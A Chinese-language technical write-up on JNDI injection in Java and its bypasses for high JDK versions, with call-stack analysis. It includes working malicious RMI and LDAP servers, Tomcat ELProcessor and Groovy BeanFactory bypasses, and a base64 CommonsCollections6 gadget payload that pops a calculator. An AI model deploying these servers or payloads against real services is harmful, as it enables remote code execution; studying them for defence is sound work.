高版本JDK下的JNDI注入浅析
JNDI-RMI Analysis
流程分析
RMI服务端
package com.RMI;
import com.sun.jndi.rmi.registry.ReferenceWrapper;
import javax.naming.Reference;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
public class RMIAtkServer {
public static void main(String[] args) throws Exception{
Registry registry= LocateRegistry.createRegistry(4396);
Reference reference = new Reference("Test", "Test", "http://localhost/");
ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
registry.bind("calc", referenceWrapper);
}
}
恶意类
import java.io.IOException;
public class Test {
static{
try {
Runtime.getRuntime().exec("open -a Calculator.app");
} catch (IOException e) {
e.printStackTrace();
}
}
}
JNDI客户端
package com.jndi;
import javax.naming.InitialContext;
public class jndiI {
public static void main(String[] args) throws Exception{
new InitialContext().lookup("rmi://127.0.0.1:4396/calc");
// new InitialContext().lookup("ldap://127.0.0.1:7777/calc");
}
}
下端点进行分析
看名字就很明确,首选会通过getURLOrDefaultInitCtx()
初始化默认的上下文
接着跟入lookup()
首先调用getRootURLContext()
该接口主要针对不同协议调用不同的getRootURLContext()
因为我这里输入的jndiname是rmi的,因此为调用到rmiURLContext#getRootURLContext()
来对jndiname进行一些处理和特殊字符检测。
接着步过到var3.lookup()
跟入lookup()
首先对lookup对象做非空判断,然后调用this.registry.lookup()
这一步的意思就是委托Stub去注册中心(Registry)寻找calc对象
关于RMI原理不太清楚的可以看之前的文章:JAVA反序列化之RMI
接着跟入decodeObject()
ReferenceWrapper_Stub
是RemoteReference
的实现类,因此会将Reference对象赋值给var3
跟入NamingManager#getObjectInstance()
,该方法为获取Factory的方法
步过
调用了getObjectFactoryFromReference()
步入
这里的代码非常关键,首先尝试从本地还在Factory类,若为null,则会从codebase中加载,即从远程加载class
完成加载后还会在下方进行newInstance()
,即实例化,这里也就是触发恶意类中静态代码块儿(static {})的点位
再看一下loadClass的具体实现
最终调用的是VersionHelper12#loadClass
可以发现是通过URLClassLoader
去完成类的加载的
除此之外还会调用被加载类的getObjectInstance()
因此整个JNDI的流程走完,以下方式写的恶意代码都会触发
- 方法块: {}
- 静态代码块: static {}
- 无参构造方法
- getObjectInstance()
方法调用栈
exec:347, Runtime (java.lang)
<clinit>:6, Test
forName0:-1, Class (java.lang)
forName:340, Class (java.lang)
loadClass:72, VersionHelper12 (com.sun.naming.internal)
loadClass:61, VersionHelper12 (com.sun.naming.internal)
getObjectFactoryFromReference:146, NamingManager (javax.naming.spi)
getObjectInstance:319, NamingManager (javax.naming.spi)
decodeObject:464, RegistryContext (com.sun.jndi.rmi.registry)
lookup:124, RegistryContext (com.sun.jndi.rmi.registry)
lookup:205, GenericURLContext (com.sun.jndi.toolkit.url)
lookup:417, InitialContext (javax.naming)
main:7, jndiI (com.jndi)
版本限制
使用RMI+JNDI Reference的方式,在JDK 6u141、7u131、8u121
及以后的版本被限制
官方ChangeLog文档:https://www.oracle.com/java/technologies/javase/8u121-relnotes.html
官方将
com.sun.jndi.rmi.object.trustURLCodebase
com.sun.jndi.cosnaming.object.trustURLCodebase
的值设置为false,则不能再从codebase中加载类了
JNDI-LDAP Analysis
流程分析
LDAP服务端
package com.ldap;
import java.net.InetAddress;
import java.net.MalformedURLException;
import java.net.URL;
import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;
import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPException;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;
public class LdapAtkServer {
private static final String LDAP_BASE = "dc=t4rrega,dc=domain";
public static void main ( String[] tmp_args ) {
String[] args=new String[]{"http://127.0.0.1/#Test"};
int port = 7777;
try {
InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
config.setListenerConfigs(new InMemoryListenerConfig(
"listen", //$NON-NLS-1$
InetAddress.getByName("0.0.0.0"), //$NON-NLS-1$
port,
ServerSocketFactory.getDefault(),
SocketFactory.getDefault(),
(SSLSocketFactory) SSLSocketFactory.getDefault()));
config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(args[ 0 ])));
InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
System.out.println("Listening on 0.0.0.0:" + port); //$NON-NLS-1$
ds.startListening();
}
catch ( Exception e ) {
e.printStackTrace();
}
}
private static class OperationInterceptor extends InMemoryOperationInterceptor {
private URL codebase;
public OperationInterceptor ( URL cb ) {
this.codebase = cb;
}
@Override
public void processSearchResult ( InMemoryInterceptedSearchResult result ) {
String base = result.getRequest().getBaseDN();
Entry e = new Entry(base);
try {
sendResult(result, base, e);
}
catch ( Exception e1 ) {
e1.printStackTrace();
}
}
protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws LDAPException, MalformedURLException {
URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class"));
System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);
e.addAttribute("javaClassName", "foo");
String cbstring = this.codebase.toString();
int refPos = cbstring.indexOf('#');
if ( refPos > 0 ) {
cbstring = cbstring.substring(0, refPos);
}
e.addAttribute("javaCodeBase", cbstring);
e.addAttribute("objectClass", "javaNamingReference"); //$NON-NLS-1$
e.addAttribute("javaFactory", this.codebase.getRef());
result.sendSearchEntry(e);
result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
}
}
}
依赖
<dependency>
<groupId>com.unboundid</groupId>
<artifactId>unboundid-ldapsdk</artifactId>
<version>3.1.1</version>
</dependency>
调用过程在获取到上下文后,与RMI一致,不重复分析
方法调用栈
exec:347, Runtime (java.lang)
<clinit>:6, Test
forName0:-1, Class (java.lang)
forName:340, Class (java.lang)
loadClass:72, VersionHelper12 (com.sun.naming.internal)
loadClass:61, VersionHelper12 (com.sun.naming.internal)
getObjectFactoryFromReference:146, NamingManager (javax.naming.spi)
getObjectInstance:189, DirectoryManager (javax.naming.spi)
c_lookup:1085, LdapCtx (com.sun.jndi.ldap)
p_lookup:542, ComponentContext (com.sun.jndi.toolkit.ctx)
lookup:177, PartialCompositeContext (com.sun.jndi.toolkit.ctx)
lookup:205, GenericURLContext (com.sun.jndi.toolkit.url)
lookup:94, ldapURLContext (com.sun.jndi.url.ldap)
lookup:417, InitialContext (javax.naming)
main:8, jndiI (com.jndi)
版本限制
使用LDAP+JNDI Reference的方式,在JDK 11.0.1、8u191、7u201、6u211
后被限制
com.sun.jndi.ldap.object.trustURLCodebase
属性的默认值被设置为false
JNDI Injection Bypass
目前公布的可行性方案有两种:
- 利用本地Class作为Reference Factory
- javax.el.ELProcessor
- groovy.lang.GroovyClassLoader
- com.ibm.ws.client.applicationclient.ClientJ2CCFFactory
- ...
- 利用服务器可利用的反序列化gadget
Load Local Class
虽然8u191后已经不允许加载codebase
中的类,但仍然可以从本地加载Reference Factory
需要注意是,该本地类必须实现javax.naming.spi.ObjectFactory
接口,因为在javax.naming.spi.NamingManager#getObjectFactoryFromReference
最后的return
语句对Factory类的实例对象进行了类型转换
并且该工厂类至少存在一个getObjectInstance()
方法
org.apache.naming.factory.BeanFactory
就是满足条件之一,并由于该类存在于Tomcat8依赖包中,攻击面和成功率还是比较高的
Tomcat8
分析
BeanFactory#getObjectInstance()
首选会判断obj是否是ResourceRef,若是则
实例化Reference对象,并获取beanClassName
最后通过反射实例化Reference所指向的任意BeanClass,并且会调用setter方法为所有的属性赋值
并且BeanClass的类名、属性、属性值,都来自于Reference对象,均是可控的
继续阅读BeanClass的代码,可以发现:
forceString
可以给属性强制指定一个setter方法,这里原作者Michael Stepankin
(Exploiting JNDI Injections in Java)所使用的是ELProcessor.eval()
ELProcessor.eval()
会对EL表达式进行求值,即会执行命令
实现
RMI服务端
package com.jndi.bypass;
import com.sun.jndi.rmi.registry.ReferenceWrapper;
import org.apache.naming.ResourceRef;
import javax.naming.StringRefAddr;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
public class Tomcat8bypass {
public static void main(String[] args) throws Exception {
Registry registry = LocateRegistry.createRegistry(1099);
ResourceRef resourceRef = new ResourceRef("javax.el.ELProcessor", (String)null, "", "", true, "org.apache.naming.factory.BeanFactory", (String)null);
resourceRef.add(new StringRefAddr("forceString", "t4rrega=eval"));
resourceRef.add(new StringRefAddr("t4rrega", "Runtime.getRuntime().exec(\"open -a Calculator.app\")"));
ReferenceWrapper referenceWrapper = new ReferenceWrapper(resourceRef);
registry.bind("Tomcat8bypass", referenceWrapper);
}
}
依赖
<dependency>
<groupId>org.apache.tomcat</groupId>
<artifactId>tomcat-catalina</artifactId>
<version>8.5.0</version>
</dependency>
<dependency>
<groupId>org.lucee</groupId>
<artifactId>javax.el</artifactId>
<version>3.0.0</version>
</dependency>
JNDI加载本地Factory
Groovy
在Groovy的官方文档(ASTest)中,可以发现的是,Groovy程序允许我们执行断言
,也就意味着命令执行
@ASTTest
是一种特殊的AST转换,它会在编译期对AST执行断言,而不是对编译结果执行断言。这意味着此AST转换在生成字节码之前可以访问 AST。@ASTTest
可以放置在任何可注释节点上。
因此思路和Tomcat相似,借助BeanFactory的功能,使程序执行GroovyClassLoader#parseClass
,然后去解析groovy脚本
RMI服务端
package com.jndi.bypass;
import com.sun.jndi.rmi.registry.ReferenceWrapper;
import org.apache.naming.ResourceRef;
import javax.naming.NamingException;
import javax.naming.StringRefAddr;
import java.rmi.AlreadyBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
public class Groovy2bypass {
public static void main(String[] args) throws NamingException, RemoteException, AlreadyBoundException {
Registry registry = LocateRegistry.createRegistry(1099);
ResourceRef resourceRef = new ResourceRef("groovy.lang.GroovyClassLoader", null, "", "", true,"org.apache.naming.factory.BeanFactory",null);
resourceRef.add(new StringRefAddr("forceString", "t4rrega=parseClass"));
String script = String.format("@groovy.transform.ASTTest(value={\nassert java.lang.Runtime.getRuntime().exec(\"%s\")\n})\ndef t4rrega\n", "open -a Calculator.app");
resourceRef.add(new StringRefAddr("t4rrega",script));
ReferenceWrapper referenceWrapper = new ReferenceWrapper(resourceRef);
registry.bind("Groovy2bypass", referenceWrapper);
}
}
依赖
<dependency>
<groupId>org.codehaus.groovy</groupId>
<artifactId>groovy</artifactId>
<version>2.4.5</version>
</dependency>
Server Gadget
利用LDAP返回的序列化数据,我们可以触发本地存在的Gadget
在Ldap中,Java有多种方式进行数据存储:
- 序列化数据
- JNDI Reference
- Marshalled Object
- Remote Location
同时Ldap也可以为存储的对象指定多种属性:
- javaCodeBase
- objectClass
- javaFactory
- javaSerializedData
如果Ldap存储的某个对象的javaSerializedData
值不为空,则客户端会通过调用obj.decodeObject()
对该属性值内容进行反序列化。
分析
JNDI在完成lookup后,会对对象调用decodeObject方法
跟入decodeObject
可以发现,首先判断JAVA_ATTRIBUTES[1],也就是javaSerializedData是否为空
不为空就会调用deserializeObject()
跟入
发现对var20进行了反序列化,此处的var20就是从javaSerializedData获取的序列化数据
实现
使用ysoserial生成恶意对象,并将字节码base64加密
java -jar ysoserial.jar CommonsCollections6 "open -a Calculator.app"|base64
ldap服务端
package com.jndi.bypass;
import java.net.InetAddress;
import java.net.URL;
import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;
import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;
import com.unboundid.util.Base64;
public class Deserializebypass {
private static final String LDAP_BASE = "dc=t4rrega,dc=domain";
public static void main ( String[] tmp_args ) {
String[] args=new String[]{"http://127.0.0.1/#Deserialize"};
int port = 7777;
try {
InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
config.setListenerConfigs(new InMemoryListenerConfig(
"listen", //$NON-NLS-1$
InetAddress.getByName("0.0.0.0"), //$NON-NLS-1$
port,
ServerSocketFactory.getDefault(),
SocketFactory.getDefault(),
(SSLSocketFactory) SSLSocketFactory.getDefault()));
config.addInMemoryOperationInterceptor(new Deserializebypass.OperationInterceptor(new URL(args[ 0 ])));
InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
System.out.println("Listening on 0.0.0.0:" + port); //$NON-NLS-1$
ds.startListening();
}
catch ( Exception e ) {
e.printStackTrace();
}
}
private static class OperationInterceptor extends InMemoryOperationInterceptor {
private URL codebase;
public OperationInterceptor ( URL cb ) {
this.codebase = cb;
}
@Override
public void processSearchResult ( InMemoryInterceptedSearchResult result ) {
String base = result.getRequest().getBaseDN();
Entry e = new Entry(base);
try {
sendResult(result, base, e);
}
catch ( Exception e1 ) {
e1.printStackTrace();
}
}
protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws Exception {
URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class"));
System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);
e.addAttribute("javaClassName", "foo");
String cbstring = this.codebase.toString();
int refPos = cbstring.indexOf('#');
if ( refPos > 0 ) {
cbstring = cbstring.substring(0, refPos);
}
e.addAttribute("javaSerializedData", Base64.decode("rO0ABXNyABFqYXZhLnV0aWwuSGFzaFNldLpEhZWWuLc0AwAAeHB3DAAAAAI/QAAAAAAAAXNyADRvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMua2V5dmFsdWUuVGllZE1hcEVudHJ5iq3SmznBH9sCAAJMAANrZXl0ABJMamF2YS9sYW5nL09iamVjdDtMAANtYXB0AA9MamF2YS91dGlsL01hcDt4cHQAA2Zvb3NyACpvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMubWFwLkxhenlNYXBu5ZSCnnkQlAMAAUwAB2ZhY3Rvcnl0ACxMb3JnL2FwYWNoZS9jb21tb25zL2NvbGxlY3Rpb25zL1RyYW5zZm9ybWVyO3hwc3IAOm9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5mdW5jdG9ycy5DaGFpbmVkVHJhbnNmb3JtZXIwx5fsKHqXBAIAAVsADWlUcmFuc2Zvcm1lcnN0AC1bTG9yZy9hcGFjaGUvY29tbW9ucy9jb2xsZWN0aW9ucy9UcmFuc2Zvcm1lcjt4cHVyAC1bTG9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5UcmFuc2Zvcm1lcju9Virx2DQYmQIAAHhwAAAABXNyADtvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMuZnVuY3RvcnMuQ29uc3RhbnRUcmFuc2Zvcm1lclh2kBFBArGUAgABTAAJaUNvbnN0YW50cQB+AAN4cHZyABFqYXZhLmxhbmcuUnVudGltZQAAAAAAAAAAAAAAeHBzcgA6b3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLmZ1bmN0b3JzLkludm9rZXJUcmFuc2Zvcm1lcofo/2t7fM44AgADWwAFaUFyZ3N0ABNbTGphdmEvbGFuZy9PYmplY3Q7TAALaU1ldGhvZE5hbWV0ABJMamF2YS9sYW5nL1N0cmluZztbAAtpUGFyYW1UeXBlc3QAEltMamF2YS9sYW5nL0NsYXNzO3hwdXIAE1tMamF2YS5sYW5nLk9iamVjdDuQzlifEHMpbAIAAHhwAAAAAnQACmdldFJ1bnRpbWV1cgASW0xqYXZhLmxhbmcuQ2xhc3M7qxbXrsvNWpkCAAB4cAAAAAB0AAlnZXRNZXRob2R1cQB+ABsAAAACdnIAEGphdmEubGFuZy5TdHJpbmeg8KQ4ejuzQgIAAHhwdnEAfgAbc3EAfgATdXEAfgAYAAAAAnB1cQB+ABgAAAAAdAAGaW52b2tldXEAfgAbAAAAAnZyABBqYXZhLmxhbmcuT2JqZWN0AAAAAAAAAAAAAAB4cHZxAH4AGHNxAH4AE3VyABNbTGphdmEubGFuZy5TdHJpbmc7rdJW5+kde0cCAAB4cAAAAAF0ABZvcGVuIC1hIENhbGN1bGF0b3IuYXBwdAAEZXhlY3VxAH4AGwAAAAFxAH4AIHNxAH4AD3NyABFqYXZhLmxhbmcuSW50ZWdlchLioKT3gYc4AgABSQAFdmFsdWV4cgAQamF2YS5sYW5nLk51bWJlcoaslR0LlOCLAgAAeHAAAAABc3IAEWphdmEudXRpbC5IYXNoTWFwBQfawcMWYNEDAAJGAApsb2FkRmFjdG9ySQAJdGhyZXNob2xkeHA/QAAAAAAAAHcIAAAAEAAAAAB4eHg="));
result.sendSearchEntry(e);
result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
}
}
}
Tools
feihong师傅的https://gitee.com/bjmlw2021/JNDIExploit
Reference
https://blog.orange.tw/2019/02/abusing-meta-programming-for-unauthenticated-rce.html
http://groovy-lang.org/metaprogramming.html#xform-ASTTest
https://www.veracode.com/blog/research/exploiting-jndi-injections-java
https://www.oracle.com/java/technologies/javase/8u191-relnotes.html
https://github.com/veracode-research/rogue-jndi
https://kingx.me/Restrictions-and-Bypass-of-JNDI-Manipulations-RCE.html
https://gitee.com/bjmlw2021/JNDIExploit